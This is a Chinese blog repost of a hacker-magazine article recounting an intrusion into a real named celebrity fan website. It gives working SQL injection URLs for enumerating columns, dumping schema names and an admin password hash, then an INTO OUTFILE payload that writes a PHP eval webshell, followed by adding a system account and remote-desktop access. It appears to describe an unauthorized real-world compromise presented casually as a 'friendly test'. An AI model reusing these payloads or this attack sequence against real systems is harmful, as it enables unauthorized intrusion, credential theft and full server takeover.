注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

溪亭残月的博客

I want bring you into my heart !!

 
 
 

日志

 
 

友情检测jay官方网站  

2009-04-13 16:22:43|  分类: 入侵检测 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

文章作者:flyh4t[脚本安全小组]

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

本文已经发表在《黑客手册》,转载请署名版权

某日在群里聊天,有朋友丢出一个jay官方网站的注入点,闲着无聊就测试了下。没想到最后轻松的得到了系统权限。在取得webshell过程中遇到点困难,也学到了一点东西。

看注射点,老规矩,先提交个单引号,返回如图1

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

错误提示是

you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ''' at line 1

这个提示是很有玄机的,可以看到单引号没有转意,也就是说安全模式没有打开,这为我们后文得到webshell提供了机会。

下面猜字段吧,体力活的说

http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,3,4

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

很轻松的猜出是四个字段。然后还是按部就班的看用户和权限

http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,3,version()

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,3,user()

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

oh yeah!!是mysql5的root权限,看到这里我觉得服务器拿下应该问题不大了。

和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema

在这个数据库里我们可以得到很多信息,包括当前用户权限、当前用户权限下可以访问的数据库、表、列名,因此在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯):

开始操作,提交

http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,table_schema,table_name,column_name%20%20from%20information_schema.statistics/*

貌似没有出现想象中的效果

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

提示

illegal mix of collations (latin1_swedish_ci,implicit) and (utf8_general_ci,implicit) for operation 'union'

看来是union 前后字符集不搭配,只好编码一下了,提交

http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,hex(table_schema),hex(table_name),hex(column_name)%20%20from%20information_schema.statistics/*

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

这次正常了,连上我自己的mysql,将16进制的编码还原

mysql> select 0x6a6179776562;

+----------------+

| 0x6a6179776562 |

+----------------+

| jayweb |

+----------------+

1 row in set (0.00 sec)

mysql> select 0x41646d696e5f4964;

+--------------------+

| 0x41646d696e5f4964 |

+--------------------+

| admin_id |

+--------------------+

1 row in set (0.00 sec)

mysql> select 0x61646d696e;

+--------------+

| 0x61646d696e |

+--------------+

| admin |

+--------------+

1 row in set (0.00 sec)

这里表名出来了,是admin,但是没有暴出密码字段名,我们可以通过使用limit语法逐个表和字段查询,但是数据库很多表的话,不晓得什么时候才能摸清楚。刚好网站上有个phpbb的论坛,还是通过跨库查论坛数据库吧。

看了下,管理员有一个admin一个webmater,看样子webmater比较活跃,就查他的密码了。

提交

http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,username,user_password%20%20from%20phpbb_users%20where%20user_id=66333

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

到www.cmd5.com上查询出来密码是 :042990

登陆后台去参观下吧 :)

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

对phpbb不是很熟悉,在后台琢磨了半天,尝试了添加上传类型等办法都没能得到webshell,难道只能渗透到这个程度吗?

喝杯水冷静了下,想起来我已经知道它的安全模式是关闭的而且我们有足够的权限,这意味着什么?嘿嘿,只要知道路径就能通过注射导出一个webshell。现在的问题就是得到路径了,利用uploadpic.php中getimagesize()函数的小bug,先在后台添加上传类型 text/asa,然后到前台传图片的地方传个asa文件,这个函数无法读取起大小,暴出错误时泄露了绝对路径

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

下面最辉煌的时刻终于要到来了,构造导出webshell的语句

http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,&#39;<?eval($_post[cmd])?>',4%20from%20mysql.user%20into%20outfile%20'd:\\website\\jayweb\\forum\\userpix\\cnsst.php'/*

成功了!!

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

用客户端连上,传了个大马

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

由于编码问题看着有点乱,一样使用,执行命令看看

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

好象服务器的php是系统权限的,添加了一个用户

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

连上3389参观下闪人

友情检测jay官方网站 - 溪亭残月 - 溪亭残月的博客

文章到这里就结束了,没什么技术含量

  评论这张
 
阅读(61)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017